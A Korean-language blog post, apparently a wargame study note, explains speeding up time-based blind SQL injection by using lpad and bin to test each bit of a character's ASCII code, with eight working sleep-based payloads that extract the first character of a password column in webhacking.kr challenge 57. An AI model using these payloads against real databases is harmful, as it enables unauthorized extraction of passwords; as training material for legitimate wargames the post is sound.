보고 놀랐다.
http://hides.tistory.com/247
http://blog.naver.com/PostView.nhn?blogId=padocon&logNo=220611561554
이 두 분의 글을 읽고 알았는데
여태껏
blind sql을 짤때 그냥 아스키값으로 대충 32부터 127까지 싹다 돌렸었는데
lpad와 bin 을 이용하여서 문제를 겁나 빠르게 풀 수 있다.
lpad는 왼쪽에서 패딩해주는 것이다.
: lpad(초기값, 횟수, 채울문자)
: 채울문자를 정해진 횟수의 길이에 도달할 때까지 초기값의 왼쪽에 붙여준다.
-> lpad(1,8,0) = 00000001 lpad('ABCD',8,'*') = ****ABCD
webhacking.kr 57번의 time-based를
쿼리는 다음과 같다.
1) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),1,1)=0,sleep(1),0)
2) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),2,1)=0,sleep(1),0)
3) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),3,1)=1,sleep(1),0)
4) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),4,1)=1,sleep(1),0)
5) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),5,1)=0,sleep(1),0)
6) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),6,1)=0,sleep(1),0)
7) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),7,1)=0,sleep(1),0)
8) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),8,1)=1,sleep(1),0)
이렇게 작성하게 되면
00110001 일때 참이다. 49이고 이는 아스키로 '1'이다.
한 글자를 알아내는데 8번안에 알아낼 수 있다.
(각 자릿수마다 0과 1로 확인하는거므로)
물론 크거나 작은걸로 확인하는 방법이 있지만 이것도 나름 고급기술인거 같다.
'Web Hacking > 기본개념과 툴' 카테고리의 다른 글
| git 전 버전에 있었던거 확인하기 (0) | 2017.11.27 |
|---|---|
| 웹해킹에 필요한 크롬 extension (0) | 2017.02.18 |
| http 메시지 (0) | 2017.01.14 |
| http 메쏘드, 응답 상태코드 (0) | 2017.01.14 |
| Burp Suite 프록시 기능 사용, 자바스크립트 변조 (0) | 2016.07.31 |